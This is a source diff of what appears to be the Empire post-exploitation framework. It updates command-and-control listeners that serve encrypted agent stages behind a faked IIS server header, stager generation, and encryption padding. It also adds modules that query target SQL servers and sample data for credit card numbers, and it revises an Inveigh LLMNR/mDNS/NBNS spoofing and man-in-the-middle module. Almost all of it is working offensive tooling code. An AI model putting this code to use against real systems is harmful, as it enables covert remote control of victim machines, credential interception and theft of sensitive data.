listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':options })
|
||||||
|
|
||||||
return jsonify({'listeners' : listeners})
|
return jsonify({'listeners' : listeners})
|
||||||
|
|
||||||
|
|
|
@ -795,6 +795,17 @@ class MainMenu(cmd.Cmd):
|
||||||
offs = len(mline) - len(text)
|
offs = len(mline) - len(text)
|
||||||
return [s[offs:] for s in stagerNames if s.startswith(mline)]
|
return [s[offs:] for s in stagerNames if s.startswith(mline)]
|
||||||
|
|
||||||
|
def complete_setlist(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete a global list option"
|
||||||
|
|
||||||
|
options = ["listeners", "agents"]
|
||||||
|
|
||||||
|
if line.split(' ')[1].lower() in options:
|
||||||
|
return helpers.complete_path(text, line, arg=True)
|
||||||
|
|
||||||
|
mline = line.partition(' ')[2]
|
||||||
|
offs = len(mline) - len(text)
|
||||||
|
return [s[offs:] for s in options if s.startswith(mline)]
|
||||||
|
|
||||||
def complete_set(self, text, line, begidx, endidx):
|
def complete_set(self, text, line, begidx, endidx):
|
||||||
"Tab-complete a global option."
|
"Tab-complete a global option."
|
||||||
|
@ -844,6 +855,11 @@ class MainMenu(cmd.Cmd):
|
||||||
offs = len(mline) - len(text)
|
offs = len(mline) - len(text)
|
||||||
return [s[offs:] for s in names if s.startswith(mline)]
|
return [s[offs:] for s in names if s.startswith(mline)]
|
||||||
|
|
||||||
|
def complete_list(self, text, line, begidx, endidx):
|
||||||
|
"Tab-complete list"
|
||||||
|
|
||||||
|
return self.complete_setlist(text, line, begidx, endidx)
|
||||||
|
|
||||||
def complete_preobfuscate(self, text, line, begidx, endidx):
|
def complete_preobfuscate(self, text, line, begidx, endidx):
|
||||||
"Tab-complete an interact command"
|
"Tab-complete an interact command"
|
||||||
options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
|
options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
|
||||||
|
@ -852,6 +868,7 @@ class MainMenu(cmd.Cmd):
|
||||||
mline = line.partition(' ')[2]
|
mline = line.partition(' ')[2]
|
||||||
offs = len(mline) - len(text)
|
offs = len(mline) - len(text)
|
||||||
return [s[offs:] for s in options if s.startswith(mline)]
|
return [s[offs:] for s in options if s.startswith(mline)]
|
||||||
|
|
||||||
|
|
||||||
class AgentsMenu(cmd.Cmd):
|
class AgentsMenu(cmd.Cmd):
|
||||||
"""
|
"""
|
||||||
|
@ -1892,7 +1909,7 @@ class PowerShellAgentMenu(cmd.Cmd):
|
||||||
|
|
||||||
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
|
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
|
||||||
module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
|
module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
|
||||||
module_menu.cmdloop()
|
module_menu.do_execute("")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] Please enter <listenerName> <pid>")
|
print helpers.color("[!] Please enter <listenerName> <pid>")
|
||||||
|
|
|
@ -68,11 +68,8 @@ def pad(data):
|
||||||
Performs PKCS#7 padding for 128 bit block size.
|
Performs PKCS#7 padding for 128 bit block size.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if (len(data) % 16) == 0:
|
pad = 16 - (len(data) % 16)
|
||||||
return data
|
return data + to_bufferable(chr(pad) * pad)
|
||||||
else:
|
|
||||||
pad = 16 - (len(data) % 16)
|
|
||||||
return data + to_bufferable(chr(pad) * pad)
|
|
||||||
|
|
||||||
# return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
|
# return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
|
||||||
|
|
||||||
|
@ -85,11 +82,7 @@ def depad(data):
|
||||||
raise ValueError("invalid length")
|
raise ValueError("invalid length")
|
||||||
|
|
||||||
pad = _get_byte(data[-1])
|
pad = _get_byte(data[-1])
|
||||||
|
return data[:-pad]
|
||||||
if pad <= 16:
|
|
||||||
return data[:-pad]
|
|
||||||
else:
|
|
||||||
return data
|
|
||||||
|
|
||||||
# return s[:-(ord(s[-1]))]
|
# return s[:-(ord(s[-1]))]
|
||||||
|
|
||||||
|
|
|
@ -64,7 +64,17 @@ def validate_ip(IP):
|
||||||
"""
|
"""
|
||||||
Uses iptools to validate an IP.
|
Uses iptools to validate an IP.
|
||||||
"""
|
"""
|
||||||
return iptools.ipv4.validate_ip(IP)
|
try:
|
||||||
|
validate_IPv4 = iptools.ipv4.validate_ip(IP)
|
||||||
|
validate_IPv6 = iptools.ipv6.validate_ip(IP)
|
||||||
|
|
||||||
|
if validate_IPv4 is True:
|
||||||
|
return validate_IPv4
|
||||||
|
elif validate_IPv6 is True:
|
||||||
|
return validate_IPv6
|
||||||
|
except Exception as e:
|
||||||
|
return e
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def validate_ntlm(data):
|
def validate_ntlm(data):
|
||||||
|
|
|
@ -0,0 +1,213 @@
|
||||||
|
"""
|
||||||
|
|
||||||
|
HTTP related methods used by Empire.
|
||||||
|
|
||||||
|
Includes URI validation/checksums, as well as the base
|
||||||
|
http server (EmpireServer) and its modified request
|
||||||
|
handler (RequestHandler).
|
||||||
|
|
||||||
|
These are the first places URI requests are processed.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||||
|
import BaseHTTPServer, threading, ssl, os, string, random
|
||||||
|
from pydispatch import dispatcher
|
||||||
|
import re
|
||||||
|
|
||||||
|
# Empire imports
|
||||||
|
import encryption
|
||||||
|
import helpers
|
||||||
|
|
||||||
|
|
||||||
|
#TODO: place this in a config
|
||||||
|
def default_page():
|
||||||
|
"""
|
||||||
|
Returns the default page for this server.
|
||||||
|
"""
|
||||||
|
page = "<html><body><h1>It works!</h1>"
|
||||||
|
page += "<p>This is the default web page for this server.</p>"
|
||||||
|
page += "<p>The web server software is running but no content has been added, yet.</p>"
|
||||||
|
page += "</body></html>"
|
||||||
|
return page
|
||||||
|
|
||||||
|
###############################################################
|
||||||
|
#
|
||||||
|
# Host2lhost helper.
|
||||||
|
#
|
||||||
|
###############################################################
|
||||||
|
|
||||||
|
def host2lhost(s):
|
||||||
|
"""
|
||||||
|
Return lhost for Empire's native listener from Host value
|
||||||
|
"""
|
||||||
|
reg = r'(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)'
|
||||||
|
res = re.findall( reg, s)
|
||||||
|
return res[0] if len(res) == 1 else '0.0.0.0'
|
||||||
|
|
||||||
|
###############################################################
|
||||||
|
#
|
||||||
|
# Checksum helpers.
|
||||||
|
#
|
||||||
|
###############################################################
|
||||||
|
|
||||||
|
def checksum8(s):
|
||||||
|
"""
|
||||||
|
Add up all character values and mods the total by 256.
|
||||||
|
"""
|
||||||
|
return sum([ord(ch) for ch in s]) % 0x100
|
||||||
|
|
||||||
|
|
||||||
|
###############################################################
|
||||||
|
#
|
||||||
|
# HTTP servers and handlers.
|
||||||
|
#
|
||||||
|
###############################################################
|
||||||
|
|
||||||
|
class RequestHandler(BaseHTTPRequestHandler):
|
||||||
|
"""
|
||||||
|
Main HTTP handler we're overwriting in order to modify the HTTPServer behavior.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# retrieve the server headers from the common config
|
||||||
|
serverVersion = helpers.get_config('server_version')[0]
|
||||||
|
|
||||||
|
# fake out our server headers base
|
||||||
|
BaseHTTPRequestHandler.server_version = serverVersion
|
||||||
|
BaseHTTPRequestHandler.sys_version = ""
|
||||||
|
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
|
||||||
|
# get the requested path and the client IP
|
||||||
|
resource = self.path
|
||||||
|
clientIP = self.client_address[0]
|
||||||
|
sessionID = None
|
||||||
|
|
||||||
|
cookie = self.headers.getheader("Cookie")
|
||||||
|
if cookie:
|
||||||
|
# search for a SESSIONID value in the cookie
|
||||||
|
parts = cookie.split(";")
|
||||||
|
for part in parts:
|
||||||
|
if "SESSIONID" in part:
|
||||||
|
# extract the sessionID value
|
||||||
|
name, sessionID = part.split("=", 1)
|
||||||
|
|
||||||
|
# fire off an event for this GET (for logging)
|
||||||
|
dispatcher.send("[*] "+resource+" requested from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
|
||||||
|
|
||||||
|
# get the appropriate response from the agent handler
|
||||||
|
(code, responsedata) = self.server.agents.process_get(self.server.server_port, clientIP, sessionID, resource)
|
||||||
|
|
||||||
|
# write the response out
|
||||||
|
self.send_response(code)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(responsedata)
|
||||||
|
self.wfile.flush()
|
||||||
|
# self.wfile.close() # causes an error with HTTP comms
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
|
||||||
|
resource = self.path
|
||||||
|
clientIP = self.client_address[0]
|
||||||
|
sessionID = None
|
||||||
|
|
||||||
|
cookie = self.headers.getheader("Cookie")
|
||||||
|
if cookie:
|
||||||
|
# search for a SESSIONID value in the cookie
|
||||||
|
parts = cookie.split(";")
|
||||||
|
for part in parts:
|
||||||
|
if "SESSIONID" in part:
|
||||||
|
# extract the sessionID value
|
||||||
|
name, sessionID = part.split("=", 1)
|
||||||
|
|
||||||
|
# fire off an event for this POST (for logging)
|
||||||
|
dispatcher.send("[*] Post to "+resource+" from "+str(sessionID)+" at "+clientIP, sender="HttpHandler")
|
||||||
|
|
||||||
|
# read in the length of the POST data
|
||||||
|
if self.headers.getheader('content-length'):
|
||||||
|
length = int(self.headers.getheader('content-length'))
|
||||||
|
postData = self.rfile.read(length)
|
||||||
|
|
||||||
|
# get the appropriate response for this agent
|
||||||
|
(code, responsedata) = self.server.agents.process_post(self.server.server_port, clientIP, sessionID, resource, postData)
|
||||||
|
|
||||||
|
# write the response out
|
||||||
|
self.send_response(code)
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(responsedata)
|
||||||
|
self.wfile.flush()
|
||||||
|
# self.wfile.close() # causes an error with HTTP comms
|
||||||
|
|
||||||
|
# supress all the stupid default stdout/stderr output
|
||||||
|
def log_message(*arg):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class EmpireServer(threading.Thread):
|
||||||
|
"""
|
||||||
|
Version of a simple HTTP[S] Server with specifiable port and
|
||||||
|
SSL cert. Defaults to HTTP is no cert is specified.
|
||||||
|
|
||||||
|
Uses agents.RequestHandler handle inbound requests.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, handler, lhost='0.0.0.0', port=80, cert=''):
|
||||||
|
|
||||||
|
# set to False if the listener doesn't successfully start
|
||||||
|
self.success = True
|
||||||
|
|
||||||
|
try:
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
self.server = None
|
||||||
|
|
||||||
|
self.server = BaseHTTPServer.HTTPServer((lhost, int(port)), RequestHandler)
|
||||||
|
|
||||||
|
# pass the agent handler object along for the RequestHandler
|
||||||
|
self.server.agents = handler
|
||||||
|
|
||||||
|
self.port = port
|
||||||
|
self.serverType = "HTTP"
|
||||||
|
|
||||||
|
# wrap it all up in SSL if a cert is specified
|
||||||
|
if cert and cert != "":
|
||||||
|
self.serverType = "HTTPS"
|
||||||
|
cert = os.path.abspath(cert)
|
||||||
|
|
||||||
|
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=cert, server_side=True)
|
||||||
|
|
||||||
|
dispatcher.send("[*] Initializing HTTPS server on "+str(port), sender="EmpireServer")
|
||||||
|
else:
|
||||||
|
dispatcher.send("[*] Initializing HTTP server on "+str(port), sender="EmpireServer")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.success = False
|
||||||
|
# shoot off an error if the listener doesn't stand up
|
||||||
|
dispatcher.send("[!] Error starting listener on port "+str(port)+": "+str(e), sender="EmpireServer")
|
||||||
|
|
||||||
|
|
||||||
|
def base_server(self):
|
||||||
|
return self.server
|
||||||
|
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try: self.server.serve_forever()
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
|
||||||
|
def shutdown(self):
|
||||||
|
|
||||||
|
# shut down the server/socket
|
||||||
|
self.server.shutdown()
|
||||||
|
self.server.socket.close()
|
||||||
|
self.server.server_close()
|
||||||
|
self._Thread__stop()
|
||||||
|
|
||||||
|
# make sure all the threads are killed
|
||||||
|
for thread in threading.enumerate():
|
||||||
|
if thread.isAlive():
|
||||||
|
try:
|
||||||
|
thread._Thread__stop()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
|
@ -97,7 +97,7 @@ class Listener:
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'ServerVersion' : {
|
'ServerVersion' : {
|
||||||
'Description' : 'TServer header for the control server.',
|
'Description' : 'Server header for the control server.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : 'Microsoft-IIS/7.5'
|
'Value' : 'Microsoft-IIS/7.5'
|
||||||
}
|
}
|
||||||
|
@ -205,6 +205,16 @@ class Listener:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# TODO: reimplement stager retries?
|
# TODO: reimplement stager retries?
|
||||||
|
#check if we're using IPv6
|
||||||
|
listenerOptions = copy.deepcopy(listenerOptions)
|
||||||
|
bindIP = listenerOptions['BindIP']['Value']
|
||||||
|
port = listenerOptions['Port']['Value']
|
||||||
|
if ':' in bindIP:
|
||||||
|
if "http" in host:
|
||||||
|
if "https" in host:
|
||||||
|
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
|
else:
|
||||||
|
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
|
|
||||||
# code to turn the key string into a byte array
|
# code to turn the key string into a byte array
|
||||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
|
@ -692,6 +702,15 @@ def send_message(packets=None):
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
|
||||||
|
@app.after_request
|
||||||
|
def add_proxy_headers(response):
|
||||||
|
"Add HTTP headers to avoid proxy caching."
|
||||||
|
response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
|
||||||
|
response.headers['Pragma'] = "no-cache"
|
||||||
|
response.headers['Expires'] = "0"
|
||||||
|
return response
|
||||||
|
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['GET'])
|
@app.route('/<path:request_uri>', methods=['GET'])
|
||||||
def handle_get(request_uri):
|
def handle_get(request_uri):
|
||||||
"""
|
"""
|
||||||
|
@ -780,12 +799,22 @@ def send_message(packets=None):
|
||||||
if results:
|
if results:
|
||||||
if results.startswith('STAGE2'):
|
if results.startswith('STAGE2'):
|
||||||
# TODO: document the exact results structure returned
|
# TODO: document the exact results structure returned
|
||||||
|
if ':' in clientIP:
|
||||||
|
clientIP = '[' + str(clientIP) + ']'
|
||||||
sessionID = results.split(' ')[1].strip()
|
sessionID = results.split(' ')[1].strip()
|
||||||
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
|
||||||
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
|
dispatcher.send("[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http')
|
||||||
|
|
||||||
|
hopListenerName = request.headers.get('Hop-Name')
|
||||||
|
try:
|
||||||
|
hopListener = helpers.get_listener_options(hopListenerName)
|
||||||
|
tempListenerOptions = copy.deepcopy(listenerOptions)
|
||||||
|
tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
|
||||||
|
except TypeError:
|
||||||
|
tempListenerOptions = listenerOptions
|
||||||
|
|
||||||
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
|
||||||
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
agentCode = self.generate_agent(language=language, listenerOptions=tempListenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
|
||||||
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
|
encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
|
||||||
# TODO: wrap ^ in a routing packet?
|
# TODO: wrap ^ in a routing packet?
|
||||||
|
|
||||||
|
|
|
@ -98,7 +98,7 @@ class Listener:
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'ServerVersion' : {
|
'ServerVersion' : {
|
||||||
'Description' : 'TServer header for the control server.',
|
'Description' : 'Server header for the control server.',
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : 'Microsoft-IIS/7.5'
|
'Value' : 'Microsoft-IIS/7.5'
|
||||||
}
|
}
|
||||||
|
@ -175,6 +175,17 @@ class Listener:
|
||||||
|
|
||||||
# TODO: reimplement stager retries?
|
# TODO: reimplement stager retries?
|
||||||
|
|
||||||
|
#check if we're using IPv6
|
||||||
|
listenerOptions = copy.deepcopy(listenerOptions)
|
||||||
|
bindIP = listenerOptions['BindIP']['Value']
|
||||||
|
port = listenerOptions['Port']['Value']
|
||||||
|
if ':' in bindIP:
|
||||||
|
if "http" in host:
|
||||||
|
if "https" in host:
|
||||||
|
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
|
else:
|
||||||
|
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||||
|
|
||||||
# code to turn the key string into a byte array
|
# code to turn the key string into a byte array
|
||||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||||
stager += "'%s');" % (stagingKey)
|
stager += "'%s');" % (stagingKey)
|
||||||
|
@ -463,6 +474,15 @@ class Listener:
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
|
||||||
|
@app.after_request
|
||||||
|
def add_proxy_headers(response):
|
||||||
|
"Add HTTP headers to avoid proxy caching."
|
||||||
|
response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
|
||||||
|
response.headers['Pragma'] = "no-cache"
|
||||||
|
response.headers['Expires'] = "0"
|
||||||
|
return response
|
||||||
|
|
||||||
|
|
||||||
@app.route('/<path:request_uri>', methods=['GET'])
|
@app.route('/<path:request_uri>', methods=['GET'])
|
||||||
def handle_get(request_uri):
|
def handle_get(request_uri):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -445,6 +445,7 @@ def send_message(packets=None):
|
||||||
f.close()
|
f.close()
|
||||||
|
|
||||||
hopCode = hopCode.replace('REPLACE_SERVER', redirectHost)
|
hopCode = hopCode.replace('REPLACE_SERVER', redirectHost)
|
||||||
|
hopCode = hopCode.replace('REPLACE_HOP_NAME', self.options['Name']['Value'])
|
||||||
|
|
||||||
saveFolder = self.options['OutFolder']['Value']
|
saveFolder = self.options['OutFolder']['Value']
|
||||||
for uri in uris:
|
for uri in uris:
|
||||||
|
@ -473,4 +474,4 @@ def send_message(packets=None):
|
||||||
"""
|
"""
|
||||||
Nothing to actually shut down for a hop listner.
|
Nothing to actually shut down for a hop listner.
|
||||||
"""
|
"""
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -0,0 +1,111 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Get-SQLColumnSampleData',
|
||||||
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Returns column information from target SQL Servers. Supports '
|
||||||
|
'search by keywords, sampling data, and validating credit card '
|
||||||
|
'numbers.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'SQL Server or domain account to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'SQL Server or domain account password to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Instance' : {
|
||||||
|
'Description' : 'SQL Server instance to connection to.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'NoDefaults' : {
|
||||||
|
'Description' : 'Don\'t select tables from default databases.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CheckAll' : {
|
||||||
|
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
username = self.options['Username']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
instance = self.options['Instance']['Value']
|
||||||
|
no_defaults = self.options['NoDefaults']['Value']
|
||||||
|
check_all = self.options['CheckAll']['Value']
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1"
|
||||||
|
script = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
script = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
if check_all:
|
||||||
|
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
|
||||||
|
try:
|
||||||
|
with open(auxModuleSource, 'r') as auxSource:
|
||||||
|
auxScript = auxSource.read()
|
||||||
|
script += " " + auxScript
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
|
||||||
|
script += " Get-SQLInstanceDomain "
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
script += " | "
|
||||||
|
script += " Get-SQLColumnSampleData"
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
if instance != "" and not check_all:
|
||||||
|
script += " -Instance "+instance
|
||||||
|
if no_defaults:
|
||||||
|
script += " -NoDefaults "
|
||||||
|
return script
|
|
@ -0,0 +1,89 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Get-SQLQuery',
|
||||||
|
'Author': ['@_nullbind', '@0xbadjuju'],
|
||||||
|
'Description': ('Executes a query on target SQL servers.'),
|
||||||
|
'Background' : True,
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
'Language' : 'powershell',
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
'MinLanguageVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Username' : {
|
||||||
|
'Description' : 'SQL Server or domain account to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'SQL Server or domain account password to authenticate with.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Instance' : {
|
||||||
|
'Description' : 'SQL Server instance to connection to.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Query' : {
|
||||||
|
'Description' : 'Query to be executed on the SQL Server.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
username = self.options['Username']['Value']
|
||||||
|
password = self.options['Password']['Value']
|
||||||
|
instance = self.options['Instance']['Value']
|
||||||
|
query = self.options['Query']['Value']
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLQuery.ps1"
|
||||||
|
script = ""
|
||||||
|
try:
|
||||||
|
with open(moduleSource, 'r') as source:
|
||||||
|
script = source.read()
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
script += " Get-SQLQuery"
|
||||||
|
if username != "":
|
||||||
|
script += " -Username "+username
|
||||||
|
if password != "":
|
||||||
|
script += " -Password "+password
|
||||||
|
if instance != "":
|
||||||
|
script += " -Instance "+instance
|
||||||
|
script += " -Query "+"\'"+query+"\'"
|
||||||
|
|
||||||
|
return script
|
|
@ -9,16 +9,18 @@ class Module:
|
||||||
|
|
||||||
'Author': ['Kevin Robertson'],
|
'Author': ['Kevin Robertson'],
|
||||||
|
|
||||||
'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle tool.'),
|
'Description': ('Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note '
|
||||||
|
'that this module exposes only a subset of Inveigh\'s parameters. Inveigh can be used '
|
||||||
|
'through Empire\'s scriptimport and scriptcmd if additional parameters are needed.'),
|
||||||
|
|
||||||
'Background' : True,
|
'Background' : True,
|
||||||
|
|
||||||
'OutputExtension' : None,
|
'OutputExtension' : None,
|
||||||
|
|
||||||
'NeedsAdmin' : True,
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
'OpsecSafe' : True,
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
'Language' : 'powershell',
|
'Language' : 'powershell',
|
||||||
|
|
||||||
'MinLanguageVersion' : '2',
|
'MinLanguageVersion' : '2',
|
||||||
|
@ -37,141 +39,152 @@ class Module:
|
||||||
'Required' : True,
|
'Required' : True,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'IP' : {
|
'ConsoleOutput' : {
|
||||||
'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.',
|
'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
|
||||||
'Required' : False,
|
'Required' : False,
|
||||||
'Value' : ''
|
'Value' : ''
|
||||||
},
|
},
|
||||||
'SpooferIP' : {
|
|
||||||
'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferHostsReply' : {
|
|
||||||
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferHostsIgnore' : {
|
|
||||||
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferIPsReply' : {
|
|
||||||
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.',
|
|
||||||
'Required' : False,
|
|
||||||
'Value' : ''
|
|
||||||
},
|
|
||||||
'SpooferIPsIgnore' : {
|
|
||||||
